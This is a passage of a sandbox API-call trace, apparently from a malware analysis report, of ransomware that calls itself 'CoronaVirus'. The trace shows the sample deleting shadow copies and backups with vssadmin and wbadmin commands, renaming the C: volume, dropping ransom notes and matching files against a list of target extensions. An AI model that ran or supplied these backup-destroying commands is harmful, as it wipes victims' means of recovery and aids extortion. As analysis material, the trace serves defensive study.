s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s") 
	[0075.478] sprintf (in: _Dest=0x40cf48, _Format="%X%X%X%X%X%X%X%X" | out: _Dest="EF91373E13A6DA6359CC8554153E7F019913F2383D8CCE6F33E340C6F47CE56A") returned 64
	[0075.478] GetWindowsDirectoryW (in: lpBuffer=0x40da80, uSize=0x1000 | out: lpBuffer="C:\\WINDOWS") returned 0xa
	[0075.478] GetProcAddress (hModule=0x772d0000, lpProcName="Wow64EnableWow64FsRedirection") returned 0x77326eb0
	[0075.478] Wow64EnableWow64FsRedirection (Wow64FsEnableRedirection=0) returned 1
	[0075.478] GetSystemDirectoryW (in: lpBuffer=0x190cc0, uSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13
	[0075.478] mbstowcs (in: _Dest=0x5cf548, _Source="\\VSSADMIN.EXE", _MaxCount=0x1000 | out: _Dest="\\VSSADMIN.EXE") returned 0xd
	[0075.478] _swprintf (in: param_1=0x18acc0, param_2="%s%s" | out: param_1="C:\\WINDOWS\\system32\\VSSADMIN.EXE") returned 32
	[0075.479] mbstowcs (in: _Dest=0x5cf548, _Source="Delete Shadows /All /Quiet", _MaxCount=0x1000 | out: _Dest="Delete Shadows /All /Quiet") returned 0x1a
	[0075.479] _alloca_probe () returned 0x405bfd
	[0075.479] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\VSSADMIN.EXE" (normalized: "c:\\windows\\system32\\vssadmin.exe")) returned 0x20
	[0075.506] GetShellWindow () returned 0x100f0
	[0075.506] ShellExecuteExW (in: pExecInfo=0x18ac60*(cbSize=0x3c, fMask=0x8000, hwnd=0x100f0, lpVerb="open", lpFile="C:\\WINDOWS\\system32\\VSSADMIN.EXE", lpParameters="Delete Shadows /All /Quiet", lpDirectory=0x0, nShow=0, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x18ac60*(cbSize=0x3c, fMask=0x8000, hwnd=0x100f0, lpVerb="open", lpFile="C:\\WINDOWS\\system32\\VSSADMIN.EXE", lpParameters="Delete Shadows /All /Quiet", lpDirectory=0x0, nShow=0, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) returned 1
	[0077.661] mbstowcs (in: _Dest=0x5cf548, _Source="wbadmin.exe", _MaxCount=0x1000 | out: _Dest="wbadmin.exe") returned 0xb
	[0077.661] _swprintf (in: param_1=0x18acc0, param_2="%s\\%s" | out: param_1="C:\\WINDOWS\\system32\\wbadmin.exe") returned 31
	[0077.661] mbstowcs (in: _Dest=0x5cf548, _Source="delete backup -keepVersions:0 -quiet", _MaxCount=0x1000 | out: _Dest="delete backup -keepVersions:0 -quiet") returned 0x24
	[0077.661] _alloca_probe () returned 0x405bfd
	[0077.661] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\wbadmin.exe" (normalized: "c:\\windows\\system32\\wbadmin.exe")) returned 0x20
	[0077.661] GetShellWindow () returned 0x100f0
	[0077.661] ShellExecuteExW (in: pExecInfo=0x18ac60*(cbSize=0x3c, fMask=0x8000, hwnd=0x100f0, lpVerb="open", lpFile="C:\\WINDOWS\\system32\\wbadmin.exe", lpParameters="delete backup -keepVersions:0 -quiet", lpDirectory=0x0, nShow=0, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x18ac60*(cbSize=0x3c, fMask=0x8000, hwnd=0x100f0, lpVerb="open", lpFile="C:\\WINDOWS\\system32\\wbadmin.exe", lpParameters="delete backup -keepVersions:0 -quiet", lpDirectory=0x0, nShow=0, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) returned 1
	[0078.590] mbstowcs (in: _Dest=0x5cf548, _Source="wbadmin.exe", _MaxCount=0x1000 | out: _Dest="wbadmin.exe") returned 0xb
	[0078.590] _swprintf (in: param_1=0x18acc0, param_2="%s\\%s" | out: param_1="C:\\WINDOWS\\system32\\wbadmin.exe") returned 31
	[0078.590] mbstowcs (in: _Dest=0x5cf548, _Source="delete systemstatebackup -keepVersions:0 -quiet", _MaxCount=0x1000 | out: _Dest="delete systemstatebackup -keepVersions:0 -quiet") returned 0x2f
	[0078.590] _alloca_probe () returned 0x405bfd
	[0078.590] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\wbadmin.exe" (normalized: "c:\\windows\\system32\\wbadmin.exe")) returned 0x20
	[0078.591] GetShellWindow () returned 0x100f0
	[0078.591] ShellExecuteExW (in: pExecInfo=0x18ac60*(cbSize=0x3c, fMask=0x8000, hwnd=0x100f0, lpVerb="open", lpFile="C:\\WINDOWS\\system32\\wbadmin.exe", lpParameters="delete systemstatebackup -keepVersions:0 -quiet", lpDirectory=0x0, nShow=0, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x18ac60*(cbSize=0x3c, fMask=0x8000, hwnd=0x100f0, lpVerb="open", lpFile="C:\\WINDOWS\\system32\\wbadmin.exe", lpParameters="delete systemstatebackup -keepVersions:0 -quiet", lpDirectory=0x0, nShow=0, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) returned 1
	[0078.861] Wow64EnableWow64FsRedirection (Wow64FsEnableRedirection=1) returned 1
	[0078.861] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404120, lpParameter=0x0, dwCreationFlags=0x4, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f0
	[0078.861] NtSetInformationThread (ThreadHandle=0x2f0, ThreadInformationClass=0x11, ThreadInformation=0x0, ThreadInformationLength=0x0) returned 0x0
	[0078.861] SetThreadPriority (hThread=0x2f0, nPriority=15) returned 1
	[0078.862] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403bd0, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f8
	[0078.862] NtSetInformationThread (ThreadHandle=0x2f8, ThreadInformationClass=0x11, ThreadInformation=0x0, ThreadInformationLength=0x0) returned 0x0
	[0078.862] SetThreadPriority (hThread=0x2f8, nPriority=15) returned 1
	[0078.865] Sleep (dwMilliseconds=0x28c9) 
	[0090.013] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x197e1) returned 0x0
	[0090.013] WaitForMultipleObjects (nCount=0x3c, lpHandles=0x419460*=0x0, bWaitAll=1, dwMilliseconds=0xffffffff) returned 0xffffffff
	[0090.013] WaitForMultipleObjects (nCount=0x19, lpHandles=0x419460*=0x0, bWaitAll=1, dwMilliseconds=0xffffffff) returned 0xffffffff
	[0090.013] ResumeThread (hThread=0x2f0) returned 0x1
	[0090.014] WaitForSingleObject (hHandle=0x2f0, dwMilliseconds=0xffffffff) 

Thread:
	id = 41
	os_tid = 0x1358


Thread:
	id = 44
	os_tid = 0x139c


Thread:
	id = 45
	os_tid = 0x1384


Thread:
	id = 46
	os_tid = 0x1374


Thread:
	id = 48
	os_tid = 0x13d8


Thread:
	id = 49
	os_tid = 0x1398


Thread:
	id = 50
	os_tid = 0x1380


Thread:
	id = 51
	os_tid = 0x13dc


Thread:
	id = 56
	os_tid = 0x134c


Thread:
	id = 64
	os_tid = 0xabc


Thread:
	id = 66
	os_tid = 0xbb0

	[0090.014] NtYieldExecution () returned 0x0
	[0090.014] Sleep (dwMilliseconds=0x3e8) 
	[0091.058] NtYieldExecution () returned 0x0
	[0091.093] Sleep (dwMilliseconds=0x3e8) 
	[0092.096] NtYieldExecution () returned 0x0
	[0092.098] Sleep (dwMilliseconds=0x3e8) 
	[0093.113] NtYieldExecution () returned 0x0
	[0093.113] Sleep (dwMilliseconds=0x3e8) 
	[0094.127] NtYieldExecution () returned 0x0
	[0094.143] Sleep (dwMilliseconds=0x3e8) 
	[0095.154] NtYieldExecution () returned 0x0
	[0095.155] Sleep (dwMilliseconds=0x3e8) 
	[0096.164] NtYieldExecution () returned 0x0
	[0096.166] Sleep (dwMilliseconds=0x3e8) 
	[0097.174] NtYieldExecution () returned 0x0
	[0097.174] Sleep (dwMilliseconds=0x3e8) 
	[0098.176] NtYieldExecution () returned 0x0
	[0098.185] Sleep (dwMilliseconds=0x3e8) 
	[0099.189] NtYieldExecution () returned 0x0
	[0099.191] Sleep (dwMilliseconds=0x3e8) 
	[0100.193] NtYieldExecution () returned 0x0
	[0100.193] Sleep (dwMilliseconds=0x3e8) 
	[0101.200] NtYieldExecution () returned 0x0
	[0101.207] Sleep (dwMilliseconds=0x3e8) 
	[0102.208] NtYieldExecution () returned 0x0
	[0102.209] Sleep (dwMilliseconds=0x3e8) 
	[0103.599] NtYieldExecution () returned 0x0
	[0103.633] Sleep (dwMilliseconds=0x3e8) 
	[0104.635] NtYieldExecution () returned 0x0
	[0104.636] Sleep (dwMilliseconds=0x3e8) 
	[0105.647] NtYieldExecution () returned 0x0
	[0105.647] Sleep (dwMilliseconds=0x3e8) 
	[0106.648] NtYieldExecution () returned 0x0
	[0106.659] Sleep (dwMilliseconds=0x3e8) 
	[0107.661] NtYieldExecution () returned 0x0
	[0107.661] Sleep (dwMilliseconds=0x3e8) 
	[0108.663] NtYieldExecution () returned 0x0
	[0108.664] Sleep (dwMilliseconds=0x3e8) 
	[0109.665] NtYieldExecution () returned 0x0
	[0109.665] Sleep (dwMilliseconds=0x3e8) 

Thread:
	id = 67
	os_tid = 0x8f0

	[0078.863] GetLogicalDriveStringsW (in: nBufferLength=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0x5
	[0078.863] GetLogicalDriveStringsW (in: nBufferLength=0x5, lpBuffer=0x5fb070 | out: lpBuffer="C:\\") returned 0x4
	[0078.863] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0078.864] SetVolumeLabelW (lpRootPathName="C:\\", lpVolumeName="CoronaVirus") returned 1
	[0079.055] wcsncpy (in: _Dest=0x618950, _Source="C:\\", _Count=0x2 | out: _Dest="C:") returned="C:"
	[0079.055] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4036c0, lpParameter=0x618950, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e0
	[0079.056] Sleep (dwMilliseconds=0x64) 
	[0079.190] NtYieldExecution () returned 0x0
	[0079.191] NtYieldExecution () returned 0x0
	[0079.191] NtYieldExecution () returned 0x0
	[0079.191] RtlExitUserThread (Status=0x0) 

Thread:
	id = 72
	os_tid = 0x128c

	[0079.246] _alloca_probe () returned 0x4036d0
	[0079.247] GetFullPathNameW (in: lpFileName="C:", nBufferLength=0x1000, lpBuffer=0x3189f80, lpFilePart=0x3181d2c | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x3181d2c*="Desktop") returned 0x17
	[0079.247] FindFirstFileW (in: lpFileName="C:\\*.*", lpFindFileData=0x3181d30 | out: lpFindFileData=0x3181d30*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x600e10
	[0079.248] wcsncmp (_String1="$", _String2=".", _MaxCount=0x1) returned -10
	[0079.248] wcsncmp (_String1="$G", _String2="..", _MaxCount=0x2) returned -10
	[0079.248] _swprintf (in: param_1=0x3181f80, param_2="%s\\%s" | out: param_1="C:\\$GetCurrent") returned 14
	[0079.248] wcsncmp (_String1="C:\\$GetCu", _String2="C:\\WINDOW", _MaxCount=0x9) returned -51
	[0079.248] wcsstr (_Str="C:\\$GetCurrent", _SubStr="Microsoft\\Windows") returned 0x0
	[0079.248] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\$GetCurrent\\CoronaVirus.txt" (normalized: "c:\\$getcurrent\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0079.265] _alloca_probe () returned 0x4036d0
	[0079.266] GetFullPathNameW (in: lpFileName="C:\\$GetCurrent", nBufferLength=0x1000, lpBuffer=0x317bd08, lpFilePart=0x3173ab4 | out: lpBuffer="C:\\$GetCurrent", lpFilePart=0x3173ab4*="$GetCurrent") returned 0xe
	[0079.266] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*.*", lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xe8986e05, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x600d10
	[0079.266] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0079.266] FindNextFileW (in: hFindFile=0x600d10, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xe8986e05, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.266] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0079.266] FindNextFileW (in: hFindFile=0x600d10, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8986e05, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xe8986e05, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0079.266] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0079.266] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0079.266] _wcslwr (in: _String=0x3173afa | out: _String=".txt") returned=".txt"
	[0079.266] wcsstr (_Str=".bak", _SubStr=".txt") returned 0x0
	[0079.266] _wcslwr (in: _String=0x3173afa | out: _String=".txt") returned=".txt"
	[0079.266] wcsstr (_Str=".bat", _SubStr=".txt") returned 0x0
	[0079.266] _wcslwr (in: _String=0x3173afa | out: _String=".txt") returned=".txt"
	[0079.266] wcsstr (_Str=".doc", _SubStr=".txt") returned 0x0
	[0079.266] _wcslwr (in: _String=0x3173afa | out: _String=".txt") returned=".txt"
	[0079.266] wcsstr (_Str=".jpg", _SubStr=".txt") returned 0x0
	[0079.267] _wcslwr (in: _String=0x3173afa | out: _String=".txt") returned=".txt"
	[0079.267] wcsstr (_Str=".jpe", _SubStr=".txt") returned 0x0
	[0079.267] _wcslwr (in: _String=0x3173afa | out: _String=".txt") returned=".txt"
	[0079.267] wcsstr (_Str=".txt", _SubStr=".txt") returned=".txt"
	[0079.267] malloc (_Size=0x1000) returned 0x4568e8
	[0079.267] _swprintf (in: param_1=0x4568e8, param_2="%s\\%s" | out: param_1="C:\\$GetCurrent\\CoronaVirus.txt") returned 30
	[0079.267] wcsstr (_Str="C:\\$GetCurrent\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0079.267] FindNextFileW (in: hFindFile=0x600d10, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1
	[0079.267] wcsncmp (_String1="L", _String2=".", _MaxCount=0x1) returned 30
	[0079.267] wcsncmp (_String1="Lo", _String2="..", _MaxCount=0x2) returned 30
	[0079.267] _swprintf (in: param_1=0x3173d08, param_2="%s\\%s" | out: param_1="C:\\$GetCurrent\\Logs") returned 19
	[0079.267] wcsncmp (_String1="C:\\$GetCu", _String2="C:\\WINDOW", _MaxCount=0x9) returned -51
	[0079.267] wcsstr (_Str="C:\\$GetCurrent\\Logs", _SubStr="Microsoft\\Windows") returned 0x0
	[0079.267] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\$GetCurrent\\Logs\\CoronaVirus.txt" (normalized: "c:\\$getcurrent\\logs\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0079.272] _alloca_probe () returned 0x4036d0
	[0079.273] GetFullPathNameW (in: lpFileName="C:\\$GetCurrent\\Logs", nBufferLength=0x1000, lpBuffer=0x316da90, lpFilePart=0x316583c | out: lpBuffer="C:\\$GetCurrent\\Logs", lpFilePart=0x316583c*="Logs") returned 0x13
	[0079.273] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*.*", lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xe89ad1c0, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x600e50
	[0079.273] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0079.273] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xe89ad1c0, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.273] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0079.273] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe89ad1c0, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xe89ad1c0, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0079.273] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0079.273] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0079.273] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0079.273] wcsstr (_Str=".bak", _SubStr=".txt") returned 0x0
	[0079.273] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0079.273] wcsstr (_Str=".bat", _SubStr=".txt") returned 0x0
	[0079.273] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0079.273] wcsstr (_Str=".doc", _SubStr=".txt") returned 0x0
	[0079.273] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0079.273] wcsstr (_Str=".jpg", _SubStr=".txt") returned 0x0
	[0079.273] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0079.273] wcsstr (_Str=".jpe", _SubStr=".txt") returned 0x0
	[0079.273] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0079.273] wcsstr (_Str=".txt", _SubStr=".txt") returned=".txt"
	[0079.273] malloc (_Size=0x1000) returned 0x4578f0
	[0079.274] _swprintf (in: param_1=0x4578f0, param_2="%s\\%s" | out: param_1="C:\\$GetCurrent\\Logs\\CoronaVirus.txt") returned 35
	[0079.274] wcsstr (_Str="C:\\$GetCurrent\\Logs\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0079.274] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x542c8aac, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0xafe5f7a, ftLastWriteTime.dwHighDateTime=0x1d3273e, nFileSizeHigh=0x0, nFileSizeLow=0xa6b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log", cAlternateFileName="DOWNLE~1.LOG")) returned 1
	[0079.274] wcsncmp (_String1="d", _String2=".", _MaxCount=0x1) returned 54
	[0079.274] wcsncmp (_String1="do", _String2="..", _MaxCount=0x2) returned 54
	[0079.274] _wcslwr (in: _String=0x31658ae | out: _String=".log") returned=".log"
	[0079.274] wcsstr (_Str=".bak", _SubStr=".log") returned 0x0
	[0079.274] _wcslwr (in: _String=0x31658ae | out: _String=".log") returned=".log"
	[0079.274] wcsstr (_Str=".bat", _SubStr=".log") returned 0x0
	[0079.274] _wcslwr (in: _String=0x31658ae | out: _String=".log") returned=".log"
	[0079.274] wcsstr (_Str=".doc", _SubStr=".log") returned 0x0
	[0079.274] _wcslwr (in: _String=0x31658ae | out: _String=".log") returned=".log"
	[0079.274] wcsstr (_Str=".jpg", _SubStr=".log") returned 0x0
	[0079.274] _wcslwr (in: _String=0x31658ae | out: _String=".log") returned=".log"
	[0079.274] wcsstr (_Str=".jpe", _SubStr=".log") returned 0x0
	[0079.274] _wcslwr (in: _String=0x31658ae | out: _String=".log") returned=".log"
	[0079.274] wcsstr (_Str=".txt", _SubStr=".log") returned 0x0
	[0079.274] _wcslwr (in: _String=0x31658ae | out: _String=".log") returned=".log"
	[0079.274] wcsstr (_Str=".tex", _SubStr=".log") returned 0x0
	[0079.274] _wcslwr (in: _String=0x31658ae | out: _String=".log") returned=".log"
	[0079.274] wcsstr (_Str=".dbf", _SubStr=".log") returned 0x0
	[0079.274] _wcslwr (in: _String=0x31658ae | out: _String=".log") returned=".log"
	[0079.274] wcsstr (_Str=".xls", _SubStr=".log") returned 0x0
	[0079.274] _wcslwr (in: _String=0x31658ae | out: _String=".log") returned=".log"
	[0079.274] wcsstr (_Str=".cry", _SubStr=".log") returned 0x0
	[0079.274] _wcslwr (in: _String=0x31658ae | out: _String=".log") returned=".log"
	[0079.274] wcsstr (_Str=".xml", _SubStr=".log") returned 0x0
	[0079.274] _wcslwr (in: _String=0x31658ae | out: _String=".log") returned=".log"
	[0079.274] wcsstr (_Str=".vsd", _SubStr=".log") returned 0x0
	[0079.274] _wcslwr (in: _String=0x31658ae | out: _String=".log") returned=".log"
	[0079.274] wcsstr (_Str=".pdf", _SubStr=".log") returned 0x0
	[0079.275] _wcslwr (in: _String=0x31658ae | out: _String=".log") returned=".log"
	[0079.275] wcsstr (_Str=".csv", _SubStr=".log") returned 0x0
	[0079.275] _wcslwr (in: _String=0x31658ae | out: _String=".log") returned=".log"
	[0079.275] wcsstr (_Str=".bmp", _SubStr=".log") returned 0x0
	[0079.275] _wcslwr (in: _String=0x31658ae | out: _String=".log") returned=".log"
	[0079.275] wcsstr (_Str=".tif", _SubStr=".log") returned 0x0
	[0079.275] _wcslwr (in: _String=0x31658ae | out: _String=".log") returned=".log"
	[0079.275] wcsstr (_Str=".1cd", _SubStr=".log") returned 0x0
	[0079.275] _wcslwr (in: _String=0x31658ae | out: _String=".log") returned=".log"
	[0079.275] wcsstr (_Str=".tax", _SubStr=".log") returned 0x0
	[0079.275] _wcslwr (in: _String=0x31658ae | out: _String=".log") returned=".log"
	[0079.275] wcsstr (_Str=".gif", _SubStr=".log") returned 0x0
	[0079.275] _wcslwr (in: _String=0x31658ae | out: _String=".log") returned=".log"
	[0079.275] wcsstr (_Str=".gbr", _SubStr=".log") returned 0x0
	[0079.275] _wcslwr (in: _String=0x31658ae | out: _String=".log") returned=".log"
	[0079.275] wcsstr (_Str=".png", _SubStr=".log") returned 0x0
	[0079.275] _wcslwr (in: _String=0x31658ae | out: _String=".log") returned=".log"
	[0079.275] wcsstr (_Str=".mdb", _SubStr=".log") returned 0x0
	[0079.275] _wcslwr (in: _String=0x31658ae | out: _String=".log") returned=".log"
	[0079.275] wcsstr (_Str=".mdf", _SubStr=".log") returned 0x0
	[0079.275] _wcslwr (in: _String=0x31658ae | out: _String=".log") returned=".log"
	[0079.275] wcsstr (_Str=".sdf", _SubStr=".log") returned 0x0
	[0079.275] _wcslwr (in: _String=0x31658ae | out: _String=".log") returned=".log"
	[0079.275] wcsstr (_Str=".dwg", _SubStr=".log") returned 0x0
	[0079.275] _wcslwr (in: _String=0x31658ae | out: _String=".log") returned=".log"
	[0079.275] wcsstr (_Str=".dxf", _SubStr=".log") returned 0x0
	[0079.275] _wcslwr (in: _String=0x31658ae | out: _String=".log") returned=".log"
	[0079.275] wcsstr (_Str=".dgn", _SubStr=".log") returned 0x0
	[0079.275] _wcslwr (in: _String=0x31658ae | out: _String=".log") returned=".log"
	[0079.275] wcsstr (_Str=".stl", _SubStr=".log") returned 0x0
	[0079.275] _wcslwr (in: _String=0x31658ae | out: _String=".log") returned=".log"
	[0079.275] wcsstr (_Str=".gho", _SubStr=".log") returned 0x0
	[0079.275] _wcslwr (in: _String=0x31658ae | out: _String=".log") returned=".log"
	[0079.275] wcsstr (_Str=".v2i", _SubStr=".log") returned 0x0
	[0079.275] _wcslwr (in: _String=0x31658ae | out: _String=".log") returned=".log"
	[0079.275] wcsstr (_Str=".3ds", _SubStr=".log") returned 0x0
	[0079.275] _wcslwr (in: _String=0x31658ae | out: _String=".log") returned=".log"
	[0079.275] wcsstr (_Str=".ppt", _SubStr=".log") returned 0x0
	[0079.276] _wcslwr (in: _String=0x31658ae | out: _String=".log") returned=".log"
	[0079.276] wcsstr (_Str=".acc", _SubStr=".log") returned 0x0
	[0079.276] _wcslwr (in: _String=0x31658ae | out: _String=".log") returned=".log"
	[0079.276] wcsstr (_Str=".vpd", _SubStr=".log") returned 0x0
